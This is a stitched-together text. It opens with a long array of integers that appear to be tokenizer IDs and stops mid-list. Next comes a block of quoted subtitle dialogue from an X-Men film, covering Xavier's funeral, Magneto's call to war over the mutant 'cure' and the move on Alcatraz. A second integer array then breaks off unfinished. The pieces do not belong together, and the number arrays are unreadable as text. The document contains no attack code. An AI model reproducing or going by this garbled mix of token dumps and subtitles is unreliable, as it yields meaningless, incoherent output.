752, 352, 434, 751, 281, 320, 9202, 273, 634, 9136, 13, 9202, 281, 755, 2810, 281, 13098, 449, 346, 6506, 13, 309, 513, 449, 346, 42, 971, 281, 320, 2104, 281, 5181, 952, 13, 31755, 449, 346, 34, 15729, 449, 346, 34, 1133, 35350, 449, 346, 34, 10135, 449, 346, 42, 3524, 368, 1472, 417, 2509, 436, 323, 690, 5006, 449, 346, 7745, 13, 604, 368, 17341, 564, 13, 840, 564, 449, 346, 6300, 320, 2119, 352, 434, 752, 368, 971, 449, 346, 18837, 79, 626, 368, 320, 7746, 479, 281, 3297, 865, 346, 1992, 564, 24311, 285, 45737, 865, 346, 42, 1353, 417, 634, 3392, 449, 346, 42, 1353, 634, 3331, 449, 346, 6300, 1158, 670, 752, 309, 753, 13, 11445, 489, 449, 346, 44617, 449, 346, 44617, 449, 346, 21914, 672, 359, 806, 1313, 865, 346, 4045, 368, 871, 752, 309, 3047, 672, 309, 3261, 387, 368, 865, 346, 42, 3047, 253, 1735, 3924, 275, 5606, 1097, 8444, 285, 309, 7156, 85, 273, 4560, 449, 346, 1898, 309, 1869, 281, 4266, 13, 346, 4967, 651, 8444, 971, 281, 1614, 436, 33764, 715, 247, 32144, 865, 3, 346, 42, 476, 26526, 253, 5148, 275, 436, 13, 533, 368, 13, 368, 476, 513, 2712, 449, 346, 38714, 368, 476, 1158, 273, 449, 346, 36751, 449, 346, 3546, 602, 449, 346, 3546, 602, 449, 346, 1394, 3590, 816, 751, 779, 449, 346, 36751, 13, 344, 3078, 281, 2186, 368, 896, 449, 346, 1737, 513, 368, 971, 865, 346, 309, 971, 368, 281, 320, 752, 368, 403, 449, 346, 1909, 3753, 6034, 449, 346, 2773, 16498, 310, 5486, 323, 512, 273, 441, 449, 346, 2042, 359, 971, 7185, 13, 359, 1364, 3819, 323, 352, 449, 346, 1898, 326, 3819, 9513, 1024, 449, 346, 2993, 10095, 626, 320, 1060, 342, 441, 449, 346, 4058, 1612, 310, 4336, 17631, 449, 346, 7214, 275, 253, 3430, 3564, 449, 346, 1244, 368, 4517, 617, 865, 346, 2993, 434, 581, 273, 731, 449, 346, 1893, 497, 368, 2378, 449, 346, 42, 10960, 342, 368, 449, 346, 17304, 452, 5339, 253, 11652, 604, 368, 1871, 1677, 479, 253, 4839, 449, 346, 27515, 49365, 858, 625, 323, 15396, 685, 368, 1833, 2455, 871, 449, 346, 3220, 2014, 6459, 14938, 310, 326, 344, 574, 281, 3150, 323, 776, 7156, 281, 3153, 449, 346, 2598, 752, 1024, 865, 346, 1276, 513, 359, 513, 865, 346, 57, 28024, 3053, 436, 2143, 449, 346, 16830, 352, 434, 1682, 326, 352, 990, 342, 779, 449, 346, 844, 1833, 2028, 253, 3484, 597, 1472, 1469, 1728, 449, 346, 5595, 273, 441, 1053, 626, 452, 9825, 281, 564, 449, 346, 42, 476, 626, 2868, 436, 449, 346, 42, 476, 626, 2868, 359, 1472, 417, 1469, 281, 3819, 323, 436, 2143, 449, 346, 42, 1353, 7016, 449, 346, 42, 871, 436, 310, 247, 3076, 673, 449, 346, 42, 369, 2183, 326, 436, 369, 247, 4999, 1659, 323, 15396, 449, 346, 1147, 369, 13, 3347, 449, 346, 1898, 352, 1335, 310, 449, 346, 1231, 1833, 1089, 368, 247, 2316, 449, 346, 41, 1164, 13, 2028, 512, 253, 3484, 253, 2143, 19931, 1527, 449, 346, 51, 14873, 449, 346, 8262, 13, 11445, 489, 449, 346, 18793, 13, 26411, 449, 346, 11778, 368, 2326, 11445, 489, 865, 346, 11739, 13, 703, 2335, 745, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 31755, 449, 346, 13089, 865, 346, 6800, 266, 449, 346, 7161, 717, 309, 865, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 31755, 449, 346, 21305, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 6800, 266, 449, 346, 7900, 403, 368, 1469, 865, 346, 7900, 513, 368, 1158, 865, 346, 1500, 434, 4783, 13, 31755, 449, 346, 2993, 434, 417, 3551, 896, 449, 346, 1422, 1053, 626, 871, 326, 449, 346, 2993, 5339, 253, 11652, 449, 346, 1147, 3589, 626, 13089, 449, 346, 510, 13089, 309, 871, 310, 1335, 275, 627, 449, 346, 19577, 13, 2139, 476, 626, 368, 923, 253, 5083, 865, 346, 6049, 476, 626, 368, 816, 1339, 617, 564, 865, 346, 4923, 1051, 984, 3255, 346, 8457, 368, 2389, 617, 449, 346, 2993, 1160, 617, 4327, 449, 346, 4125, 352, 434, 673, 359, 1056, 20451, 449, 346, 2598, 604, 368, 1472, 342, 441, 13, 840, 320, 342, 441, 449, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 27347, 253, 16498, 594, 368, 476, 564, 896, 1728, 281, 2243, 2577, 285, 42219, 865, 346, 42, 1353, 2819, 323, 3095, 449, 346, 4013, 13, 309, 755, 352, 449, 346, 7093, 19609, 449, 346, 42, 15433, 703, 1871, 971, 253, 16498, 449, 346, 2993, 434, 40479, 449, 346, 8380, 327, 13, 22078, 1342, 449, 346, 13325, 247, 2118, 449, 346, 27970, 1711, 24707, 449, 346, 16812, 9202, 273, 247, 3819, 449, 346, 14569, 434, 2983, 369, 760, 776, 806, 3779, 5711, 449, 346, 2598, 1048, 347, 253, 16498, 4961, 13, 776, 2137, 588, 22324, 449, 346, 7093, 8238, 588, 417, 320, 4999, 449, 346, 7093, 10198, 588, 417, 320, 4999, 449, 346, 1394, 588, 417, 320, 4999, 449, 346, 1898, 281, 619, 7715, 15396, 13, 309, 1056, 368, 436, 3959, 3255, 346, 22196, 441, 390, 3297, 562, 273, 776, 1039, 449, 346, 3546, 602, 10500, 2614, 556, 644, 42893, 2168, 449, 346, 1231, 1472, 2820, 281, 3540, 731, 13, 8674, 449, 346, 1231, 1472, 2444, 1892, 449, 346, 844, 2550, 1339, 779, 513, 436, 449, 346, 1422, 871, 309, 5194, 13, 8674, 449, 346, 1552, 310, 1024, 247, 3872, 3988, 2647, 449, 346, 3251, 907, 285, 7895, 22607, 1597, 1299, 40840, 449, 346, 42, 971, 10824, 12360, 342, 16498, 8914, 18329, 4745, 449, 346, 1898, 1535, 1945, 13, 368, 452, 281, 1089, 18482, 16713, 285, 3523, 779, 407, 667, 2097, 3309, 449, 346, 47981, 16713, 5605, 247, 2137, 449, 346, 1231, 1833, 1918, 779, 581, 449, 346, 1466, 434, 564, 449, 346, 19515, 352, 4886, 449, 346, 22529, 275, 634, 1711, 10485, 449, 346, 22529, 275, 512, 5148, 449, 346, 24444, 251, 1507, 13, 22575, 13, 4370, 14610, 449, 346, 36942, 598, 634, 8013, 8914, 449, 346, 36942, 598, 634, 16498, 28719, 449, 346, 48462, 642, 5148, 449, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 1231, 1053, 626, 878, 247, 16498, 1476, 346, 3726, 5730, 281, 16498, 441, 449, 346, 1989, 309, 1333, 281, 368, 359, 403, 253, 16498, 449, 346, 510, 16498, 323, 326, 2192, 2683, 13, 35180, 1617, 1925, 2860, 80, 256, 6682, 561, 449, 346, 3726, 452, 616, 8914, 449, 346, 1231, 452, 20451, 449, 346, 1231, 588, 9974, 342, 247, 44625, 285, 247, 35959, 326, 436, 1533, 556, 1620, 21153, 449, 346, 1898, 604, 667, 15396, 1462, 275, 776, 1039, 13, 359, 588, 897, 436, 14537, 1411, 731, 449, 346, 1231, 3091, 564, 281, 1219, 8076, 5744, 8451, 13, 1379, 1453, 273, 253, 16498, 13, 285, 6909, 697, 2603, 449, 346, 1898, 840, 2717, 476, 3523, 441, 449, 346, 36751, 449, 346, 42, 871, 253, 13624, 273, 634, 38622, 386, 1514, 432, 247, 13915, 1977, 449, 346, 309, 1904, 626, 1705, 1060, 281, 3819, 368, 449, 346, 19778, 5006, 449, 346, 309, 2210, 323, 13089, 449, 346, 1422, 1158, 309, 1353, 7562, 617, 1411, 617, 588, 865, 346, 1500, 434, 1060, 984, 703, 5605, 281, 320, 449, 346, 1422, 1053, 626, 871, 752, 368, 1472, 10620, 342, 449, 346, 42, 871, 2120, 973, 449, 346, 42, 3047, 752, 703, 858, 281, 8444, 449, 346, 1898, 368, 6225, 627, 285, 1339, 779, 3150, 865, 346, 309, 1353, 417, 6108, 1060, 1293, 617, 449, 346, 6279, 13, 368, 403, 449, 346, 10249, 449, 346, 7910, 2909, 7357, 3816, 26196, 30571, 13, 2305, 3918, 449, 346, 1231, 452, 247, 15109, 3997, 273, 18482, 16713, 434, 2613, 273, 5871, 449, 346, 1359, 858, 359, 1089, 352, 865, 346, 1500, 3534, 441, 3253, 359, 3078, 449, 346, 39312, 29272, 642, 35959, 751, 247, 3416, 660, 39737, 449, 346, 30305, 5250, 2303, 3846, 6386, 449, 346, 4531, 323, 16951, 14, 14577, 1485, 2244, 279, 449, 346, 1552, 310, 10589, 23387, 281, 378, 41647, 2596, 449, 346, 1231, 403, 4759, 281, 564, 449, 346, 10249, 13, 5007, 731, 275, 449, 346, 10249, 449, 346, 14344, 2721, 13, 15396, 1476, 346, 3633, 634, 3564, 275, 253, 2329, 1476, 346, 41, 2287, 275, 253, 2329, 1476, 346, 10249, 449, 346, 42, 1918, 598, 449, 346, 15953, 13, 2305, 9526, 13, 352, 369, 247, 1086, 899, 449, 346, 2042, 344, 434, 417, 627, 13, 840, 835, 253, 7085, 310, 344, 865, 346, 56, 263, 1597, 1299, 40840, 449, 346, 1147, 7637, 835, 352, 3407, 449, 346, 6272, 368, 2119, 253, 5006, 310, 1335, 3304, 865, 346, 2233, 6, 449, 346, 2598, 849, 403, 359, 6326, 281, 755, 627, 865, 346, 38577, 309, 1053, 626, 10831, 449, 346, 30359, 326, 281, 479, 449, 346, 998, 526, 449, 346, 998, 526, 449, 346, 1276, 403, 368, 2509, 896, 1060, 865, 346, 42, 878, 1361, 449, 346, 1422, 1119, 617, 449, 346, 11739, 449, 346, 2993, 434, 342, 18482, 16713, 449, 346, 7900, 403, 597, 865, 346, 1623, 253, 2118, 449, 346, 42, 871, 835, 597, 1472, 1469, 449, 346, 1422, 1472, 3981, 368, 3047, 18482, 16713, 865, 346, 844, 17500, 564, 449, 346, 3726, 1472, 6501, 2983, 1219, 8076, 5744, 449, 346, 1707, 403, 10824, 38712, 327, 326, 8930, 449, 346 ]

But I can help you." " I think you want to give her the cure." "Look at Scott." "You killed the man you loved because you couldn't control your power." "No!" "Stop it!" "That's it." "Jean, let me in." "No, Jean." "Jean!" "Don't let it control you." "Charles." "My dear." "Come with me." "No." "God!" "We live in an age of darkness." "A world full of fear, hate and intolerance." "But in every age, there are those who fight against it." "Charles Xavier was born to a world divided." "A world he tried to heal." "A mission he never saw accomplished." "It seems the destiny of great men to see their goals unfulfilled." "Charles was more than a leader, more than a teacher." "He was a friend." "When we were afraid, he gave us strength." "And when we were alone, he gave us a family." "Wherever we may go, we must carry on his vision." "And that's a vision of a world united." "Kitty." "Bobby." " You OK?" " Yeah." "It's just..." "Xavier came to my house." "He was the one that convinced me to come here." "Yeah, me too." " We're all feeling the same way, you know." " No, Bobby, we're not." "You have Rogue and I have..." "You know, I just miss home." "The first snow and all that." " Kitty, get up." "Come with me." " Storm told us to stay in our rooms." "Don't worry." "We won't get caught." "I mean, you can walk through walls, you know." "Come on." "This place can be home too." "Thank you for this, Bobby." "You need a lift, kid?" "No." "Where are you going?" "You don't know what it's like to be afraid of your powers, afraid to get close to anybody." "Yeah, I do." "I want to be able to touch people, Logan." "A hug." "A handshake." "A kiss." "I hope you're not doing this for some boy." "Look, if you wanna go, then go." "Just be sure it's what you want." "Shouldn't you be telling me to stay?" "To go upstairs and unpack?" "I'm not your father." "I'm your friend." "Just think about what I said, Rogue." "Marie." "Marie." "Remember when we first met?" "Do you know what I saw when I looked at you?" "I saw the next stage in evolution both Charles and I dreamt of finding." "And I thought to myself, "Why would Charles want to turn this goddess into a mortal?"" "I can manipulate the metal in this, but you, you can do anything." "Anything you can think of." "Jean." "Enough." "Enough." "You sound just like him." "Jean, he wanted to hold you back." " What do you want?" " I want you to be what you are." "As nature intended." "That cure is meant for all of us." "If we want freedom, we must fight for it." "And that fight begins now." "She shouldn't be here with us." " Her power is completely unstable." " Only in the wrong hands." " And you trust her?" "She's one of them." " So were you once." "I stuck with you." "Would have killed the professor if you'd given me the chance." "Charles Xavier did more for mutants than you'll ever know." "My single greatest regret is that he had to die for our dream to live." "So what now?" "What do we do?" "Xavier started this school." "Perhaps it's best that it end with him." " We'll tell the students they're going home." " Most of us don't have anywhere to go." "I can't believe this." "I can't believe we're not going to fight for this school." "I'm sorry." "I know this is a bad time." "I was told that this was a safe place for mutants." "It was, son." "And it still is." "We'll find you a room." "Hank, tell all the students the school stays open." "Rogue." "Hey, Rogue." " Hey, Pete." "Have you seen Rogue?" " Yeah, she took off." "Logan." "Logan." " Logan." " Jean?" "Logan." "Where am I?" "Logan." "Logan." "Logan." " Logan." " Stop." "Logan." "Logan." "Logan." " Where are you going?" " Where do you think?" " She's gone, Logan." "She's not coming back." " You don't know that." "She killed the professor." "It wasn't Jean." "The Jean I know is still in there." "Listen, why can't you see the truth?" " Why can't you just let her go?" " Because... because..." "Because you love her." "She made her choice." "Now it's time we make ours." "So if you're with us, then be with us." "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "Getting the cure so you can go back home to mommy and daddy?" "I'm looking for someone." "Oh, I get it." "Your girlfriend." "I figured she'd want the cure." "She's pathetic." "Come on, Iceman." "Make a move." "Same old Bobby." "Still afraid of a fight." "Today's attack was only our first salvo." "So long as the cure exists, our war will rage." "Your cities will not be safe." "Your streets will not be safe." "You will not be safe." "And to my fellow mutants, I make you this offer..." "Join us or stay out of our way." "Enough mutant blood has been spilled already." "We're trying to track them, sir." "We're working hard." " We cannot let him do this." " You know I agree, sir." "This is now a national security matter." "Seize and secure Worthington Labs." "I want troops armed with cure weapons deployed immediately." "And Trask, you have to find Magneto and stop him by any means necessary." "Magneto wants a war." "We'll give him one." "Let's go." "Keep it moving." "Turn in your old weapon." "Turn in all metal." "Bayonets, magazines, dog tags." "Pick up your plastic weapons." "Pick up your cure cartridge." "Absolutely no metal." "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "We don't need a cure!" "They wish to cure us." "But I say to you we are the cure." "The cure for that infirm, imperfect condition called homo sapiens." "They have their weapons." "We have ours." "We will strike with a vengeance and a fury that this world has never witnessed." "And if any mutants stand in our way, we will use this poison against them." "We shall go to Alcatraz Island, take control of the cure, and destroy its source." "And then nothing can stop us." "Jean." "I know the smell of your adamantium from a mile away." " I didn't come here to fight you." " Smart boy." " I came for Jean." " You think I'm keeping her against her will?" " She's here because she wants to be." " You don't know what you're dealing with." "I know full well." "I saw what she did to Charles." "And you stood there and let him die?" " I'm not leaving here without her." " Yes, you are." "OK." "Two minutes till rendezvous, Mr President." "We have a satellite feed of Magneto's base of operations." " How did we find it?" " She gave us everything we wanted." "Hell hath no fury like a woman scorned." "Approaching target dead ahead." "Set for 360-degree incursion." "This is Team Leader to Bravo One." "We are green to go." "OK, send them in." "OK." "Freeze, mutants!" "Get your hands in the air!" "Hands in the air!" "OK." "I give up." "Sorry, Mr Secretary, it was a decoy." "If he's not there, then where the hell is he?" "Worthington Labs." "It ends where it began." " Are you sure the boy is still inside?" " 100%." "So how are we supposed to get there?" "Cos I don't swim." "Leave that to me." "Storm." "Storm." "What are you doing back here?" "I need help." " You found her." " Yeah." "She's with Magneto." " Where are they?" " On the move." "I know where they're going." " You're saying you saw Magneto?" " We gotta go." "They're gonna attack Alcatraz." " There are troops stationed on that island." "

[ 2326, 253, 1708, 273, 1388, 13, 285, 597, 250, 512, 4942, 594, 747, 13, 604, 368, 476, 1067, 9575, 2800, 281, 1458, 1107, 1711, 747, 15, 313, 42, 5476, 352, 816, 3133, 751, 11066, 672, 309, 369, 806, 7329, 281, 436, 3961, 2698, 4952, 253, 747, 4498, 13, 1623, 247, 14538, 21832, 13, 369, 4439, 1390, 807, 347, 247, 2014, 13, 594, 28763, 644, 562, 627, 285, 7329, 15, 1621, 878, 281, 2312, 670, 326, 4498, 390, 253, 1551, 15, 1583, 1335, 1462, 327, 616, 1211, 13, 285, 789, 973, 2366, 275, 436, 3790, 14, 484, 13, 2403, 436, 1646, 751, 247, 747, 5400, 273, 3365, 1711, 2144, 34183, 864, 264, 598, 247, 2372, 15, 187, 187, 688, 22772, 496, 76, 187, 187, 42, 419, 2254, 2326, 253, 6224, 8442, 13, 533, 380, 23472, 11177, 403, 17324, 625, 4633, 275, 253, 1982, 685, 275, 253, 5591, 15, 309, 13876, 670, 436, 13, 285, 17602, 10604, 309, 1869, 4546, 275, 253, 1072, 22467, 297, 13, 285, 858, 275, 958, 6746, 1216, 18395, 275, 253, 5591, 13, 751, 31596, 708, 35972, 285, 380, 775, 482, 282, 790, 15, 187, 510, 23472, 11177, 403, 4536, 21690, 314, 2529, 347, 2469, 7909, 13, 247, 30047, 326, 812, 320, 20854, 323, 4495, 21858, 390, 1014, 1210, 532, 301, 15, 380, 23472, 11177, 403, 13, 275, 958, 13, 3240, 7870, 13, 533, 7870, 275, 253, 3282, 273, 1146, 5389, 4198, 8999, 273, 253, 4498, 28, 247, 47111, 1397, 757, 3290, 273, 36910, 5237, 19844, 285, 19114, 272, 47087, 15, 1198, 4227, 13, 8028, 281, 9018, 26013, 1292, 1422, 13, 2668, 432, 11228, 43156, 273, 253, 35578, 13, 247, 1663, 23535, 1684, 4498, 534, 31562, 253, 11994, 84, 13, 533, 760, 275, 253, 3282, 273, 1146, 38189, 257, 281, 253, 40641, 13, 513, 70, 14, 26731, 285, 440, 951, 79, 474, 15, 3856, 13, 380, 23472, 11177, 921, 3746, 347, 10102, 28601, 13, 716, 2355, 14021, 326, 2740, 1066, 1014, 253, 954, 43656, 40308, 7989, 15, 187, 6436, 13, 896, 281, 616, 18395, 275, 253, 530, 15, 52, 15, 3900, 11298, 281, 436, 1682, 273, 5400, 13, 1219, 531, 285, 914, 6549, 13, 247, 1180, 273, 10414, 48272, 2448, 2210, 281, 2564, 15, 380, 41128, 1175, 36459, 273, 380, 16246, 21733, 661, 13, 253, 4618, 46993, 28667, 273, 3826, 90, 8302, 275, 253, 23599, 313, 42, 21860, 1023, 358, 1916, 10338, 1422, 27288, 582, 285, 253, 21140, 5424, 742, 28232, 273, 40794, 32574, 432, 2263, 911, 4173, 313, 2374, 329, 14538, 21832, 481, 309, 369, 671, 17328, 273, 253, 7353, 6945, 14, 18362, 18072, 2979, 273, 9069, 308, 664, 6368, 285, 5874, 1940, 313, 510, 11628, 273, 1023, 6169, 481, 187, 2422, 531, 285, 914, 6549, 3936, 767, 11411, 432, 253, 2393, 21864, 4849, 13, 4974, 21104, 10315, 313, 7676, 9889, 2732, 14884, 285, 844, 16574, 11255, 20058, 10, 2393, 1698, 14, 11125, 285, 440, 522, 862, 17859, 278, 3827, 11411, 534, 1670, 254, 4404, 253, 2936, 31366, 275, 1055, 13, 533, 440, 4818, 1428, 275, 10636, 15, 380, 11617, 761, 16187, 285, 7392, 2653, 6861, 1482, 2761, 3133, 247, 523, 1069, 593, 15, 1583, 403, 2299, 13, 7353, 1684, 9575, 15, 42234, 310, 14287, 432, 380, 48055, 36581, 13, 285, 380, 23472, 11177, 403, 5068, 281, 17614, 3878, 616, 34863, 15, 40816, 43777, 432, 5826, 17904, 253, 1735, 1264, 11411, 15, 380, 4498, 17695, 29701, 339, 369, 973, 275, 1941, 407, 840, 13, 2761, 47556, 8140, 327, 3932, 611, 21979, 6061, 3189, 253, 23599, 625, 13224, 13, 625, 1213, 888, 285, 3579, 275, 253, 5878, 13, 285, 253, 5237, 19844, 403, 19652, 1417, 15, 380, 47087, 448, 1022, 751, 416, 15, 38, 15, 46, 2100, 66, 17064, 2980, 387, 12972, 15, 187, 3463, 7225, 29203, 12000, 45388, 327, 2656, 23017, 380, 23472, 11177, 13, 253, 3961, 497, 35766, 275, 616, 1211, 25803, 13, 1907, 1048, 43700, 247, 5702, 1684, 3590, 33048, 31187, 3815, 15, 187, 2447, 6549, 15, 187, 187, 31189, 1559, 357, 187, 187, 1552, 9567, 4683, 310, 11019, 10418, 318, 273, 21242, 428, 608, 16, 22, 187, 187, 15155, 5309, 187, 187, 15705, 1528, 2372, 1336, 8775, 1684, 428, 577, 16, 22, 187, 187, 50, 20308, 187, 187, 510, 23472, 11177, 187, 187, 510, 23472, 11177, 4447, 247, 1048, 673, 3622, 275, 253, 896, 48853, 273, 33963, 24129, 13, 4882, 2366, 347, 5753, 387, 2143, 13, 33558, 272, 275, 247, 326, 2147, 29705, 8905, 432, 667, 2238, 273, 3440, 6200, 13, 533, 45904, 1701, 407, 253, 21653, 23457, 8098, 273, 7667, 991, 466, 6783, 285, 401, 2585, 13, 285, 253, 4369, 1684, 273, 10540, 285, 253, 1503, 4894, 447, 15, 6408, 247, 13384, 7827, 253, 3961, 26708, 14285, 326, 352, 369, 10826, 281, 320, 12208, 407, 6201, 6549, 382, 16053, 533, 417, 10826, 281, 452, 667, 26523, 390, 32428, 12609, 1220, 375, 15, 4325, 326, 2774, 327, 597, 1691, 616, 21463, 327, 247, 2238, 273, 299, 24763, 13, 940, 3086, 6313, 1684, 13, 25752, 281, 697, 5667, 84, 285, 5950, 4541, 281, 577, 3540, 28046, 11173, 15, 187, 187, 6872, 19654, 497, 4439, 347, 6652, 5356, 32487, 818, 21864, 387, 253, 8105, 14, 423, 273, 253, 5091, 84, 13, 285, 18133, 347, 253, 45660, 7402, 715, 253, 11386, 5400, 13, 4974, 21104, 10315, 13, 1024, 46156, 347, 581, 273, 253, 23476, 5861, 273, 253, 9976, 15, 4325, 253, 28290, 1684, 1445, 273, 4974, 21104, 10315, 2210, 247, 2118, 715, 253, 23010, 342, 253, 374, 2109, 20590, 13, 380, 48055, 36581, 13, 4439, 275, 6469, 15, 743, 3177, 281, 2794, 247, 12861, 13, 625, 19796, 3590, 13, 352, 369, 271, 36703, 6611, 267, 23472, 11177, 1924, 27, 45904, 280, 13, 1881, 14, 257, 13784, 13, 1313, 40685, 6153, 697, 1211, 1533, 15, 187, 187, 510, 23472, 11177, 294, 14, 249, 2254, 264, 616, 3440, 342, 40816, 43777, 313, 9204, 10, 285, 2656, 23017, 253, 23472, 11177, 313, 8602, 558, 14468, 473, 1608, 3920, 1255, 90, 313, 3220, 14169, 90, 33099, 13, 2604, 1983, 27981, 312, 10, 285, 4744, 3532, 735, 4197, 13, 285, 3599, 15648, 13691, 7406, 46425, 2530, 5431, 23535, 2876, 16669, 15, 380, 3590, 369, 8750, 13, 32950, 13, 285, 30909, 13, 5602, 46959, 256, 33802, 13, 966, 1037, 14, 249, 8501, 5666, 12609, 3740, 285, 5490, 23972, 5462, 256, 6673, 23329, 16819, 16248, 281, 2794, 247, 1027, 2238, 273, 6864, 285, 10825, 323, 253, 9841, 45531, 9575, 13, 534, 1024, 2210, 3426, 342, 31595, 4549, 28, 1485, 543, 579, 4087, 13, 581, 273, 731, 1014, 12819, 275, 253, 6018, 40160, 1720, 23841, 1227, 43785, 17346, 825, 359, 554, 466, 13, 346, 510, 9396, 3995, 3446, 187, 187, 27157, 43156, 327, 253, 35578, 313, 7857, 10, 310, 275, 247, 3282, 247, 1091, 281, 253, 23472, 6719, 11465, 28, 253, 7156, 3022, 33963, 37328, 806, 14494, 275, 253, 2393, 21864, 13, 616, 1195, 19500, 3282, 273, 1821, 584, 10046, 1024, 15, 8247, 275, 4693, 13, 597, 306, 8392, 327, 5662, 21188, 273, 4383, 19365, 13, 534, 2226, 1060, 1930, 14, 1615, 14, 2189, 342, 253, 3961, 434, 625, 7615, 12145, 66, 285, 1684, 3603, 13, 6153, 247, 4522, 6134, 39192, 1632, 15, 7850, 2223, 753, 253, 1682, 10604, 2794, 616, 1211, 3590, 28, 253, 23472, 11177, 452, 4783, 581, 2007, 285, 3562, 271, 2862, 1533, 15, 688, 247, 638, 17890, 461, 279, 14, 348, 7272, 1511, 9644, 5398, 2658, 3678, 4812, 19776, 3948, 313, 30350, 13, 6289, 281, 275, 2159, 347, 247, 3678, 3948, 582, 627, 310, 247, 4983, 1332, 25987, 3468, 2329, 8577, 13, 275, 534, 21012, 2329, 313, 1439, 11616, 7236, 3678, 10, 310, 5611, 715, 37025, 281, 21033, 247, 3678, 3948, 1078, 4983, 271, 2329, 4983, 2813, 13, 323, 253, 4096, 273, 12669, 253, 3304, 273, 253, 37025, 13, 24682, 27203, 318, 273, 253, 20661, 9421, 273, 253, 37025, 285, 13983, 790, 326, 14518, 3304, 253, 37025, 13, 285, 8493, 253, 9008, 789, 1078, 4983, 15, 496, 247, 3678, 4812, 19776, 3948, 326, 17923, 3468, 2329, 8577, 13, 21012, 2329, 326, 310, 908, 1309, 3468, 2329, 8577, 285, 1919, 20500, 273, 253, 3948, 970, 21012, 2329, 313, 1439, 11616, 7236, 3678, 10, 310, 2684, 9674, 281, 3468, 2329, 8577, 17923, 253, 2554, 273, 9286, 45726, 1078, 20500, 273, 253, 3678, 3948, 15, 187, 6436, 13, 281, 7895, 6186, 285, 5252, 273, 253, 7236, 3678, 323, 253, 3678, 3948, 13, 247, 5235, 273, 4095, 13, 28367, 13, 285, 253, 751, 13, 403, 2530, 13, 432, 534, 32947, 23753, 273, 253, 7236, 3678, 778, 2826, 15, 48898, 3678, 1907, 31347, 432, 253, 1840, 4095, 13, 28367, 13, 285, 253, 751, 778, 2685, 281, 285, 29010, 275, 253, 3678, 3948, 13, 271, 9286, 5048, 13, 285, 253, 751, 15, 1310, 253, 3678, 3948, 310, 17609, 281, 7236, 14, 22228, 38770, 20500, 762, 824, 247, 1617, 13, 253, 47125, 7236, 3678, 39508, 10969, 19776, 285, 8540, 253, 3678, 3948, 13, 253, 9286, 5048, 13, 285, 253, 751, 15, 187, 40504, 15027, 337, 14110, 9591, 247, 6079, 14, 1094, 42014, 2972, 273, 42014, 6079, 2329, 715, 271, 10820, 5048, 285, 247, 33852, 272, 2972, 273, 4900, 2996, 285, 17420, 272, 2329, 14, 36667, 7802, 342, 247, 13673, 10358, 285, 4983, 9381, 273, 271, 3453, 13755, 273, 247, 3678, 3948, 846, 253, 6079, 14, 1094, 42014, 2972, 15, 1284, 247, 906, 13, 604, 253, 3678, 3948, 310, 3053, 13, 6079, 2329, 310, 13945, 715, 271, 2329, 14, 4032, 314, 5048, 1078, 4254, 273, 253, 13673, 10358, 13, 534, 11355, 253, 7880, 25672, 3304, 253, 10820, 5048, 15, 3308, 13, 604, 253, 13673, 10358, 17209, 323, 253, 806, 673, 846, 20500, 13, 2329, 342, 1698, 25672, 310, 12164, 715, 247, 19776, 9320, 15, 10022, 13, 253, 2553, 273, 14722, 273, 253, 13673, 10358, 310, 1679, 2779, 281, 755, 14241, 13, 534, 2789, 352, 1896, 281, 6558, 1175, 29491, 5052, 875, 253, 14722, 13, 594, 326, 253, 13673, 10358, 15693, 653, 7969, 9403, 285, 30181, 603, 310, 14415, 15, 187, 11389, 13, 275, 11754, 15027, 337, 13, 638, 14, 13182, 463, 13, 534, 310, 281, 10143, 5780, 3678, 275, 247, 19776, 9320, 281, 253, 3345, 3066, 253, 9286, 5048, 13, 310, 2684, 15, 2058, 436, 673, 13, 253, 806, 14888, 263, 13, 253, 1273, 14888, 263, 13, 285, 253, 13673, 10358, 403, 8838, 281, 320, 6294, 1066, 15, 743, 8829, 5234, 11059, 27599, 285, 247, 26023, 29450, 11059, 13279, 15, 1284, 247, 906, 13, 247, 26023, 5694, 7866, 281, 10196, 285, 247, 8778, 29061, 310, 8877, 281, 21033, 2366, 342, 271, 3453, 13755, 15, 2635, 13, 253, 13983, 790, 33704, 366, 1293, 253, 2329, 14, 36667, 7802, 17362, 38770, 19776, 15, 496, 436, 1039, 13, 10820, 28367, 285, 9286, 28367, 403, 8877, 407, 253, 3453, 13755, 13, 9591, 5909, 16, 49209, 3200, 275, 8956, 342, 253, 9980, 273, 253, 13983, 790, 15, 1284, 253, 33704, 839, 3200, 273, 253, 13983, 790, 310, 6015, 13, 253, 5780, 3678, 275, 253, 19776, 9320, 310, 6726, 562, 281, 253, 9286, 5048, 15, 7820, 13, 6079, 2329, 310, 12164, 281, 247, 2022, 19776, 9320, 285, 247, 638, 17890, 461, 279, 9320, 432, 253, 10820, 5048, 15, 496, 436, 1039, 13, 352, 310, 1896, 281, 39825, 366, 253, 3304, 273, 253, 2022, 19776, 9320, 285, 253, 638, 17890, 461, 279, 9320, 342, 6079, 2329, 13, 534, 2789, 352, 1896, 281, 3657, 1327, 14, 17890, 15172, 3678, 390, 48580, 432, 1146, 11217, 715, 2329, 14, 36667, 7802, 604, 253, 2329, 14, 36667, 7802, 39508, 38770, 19776, 323, 253, 806, 673, 2220, 20500, 15, 380, 33704, 839, 3200, 273, 253, 13983, 790, 310, 6015, 247, 2176, 1180, 273, 2069, 326, 310, 10481, 1781, 281, 10143, 3678, 432, 253, 2022, 19776, 9320, 285, 253, 638, 17890, 461, 279, 9320, 285, 326, 310, 10481, 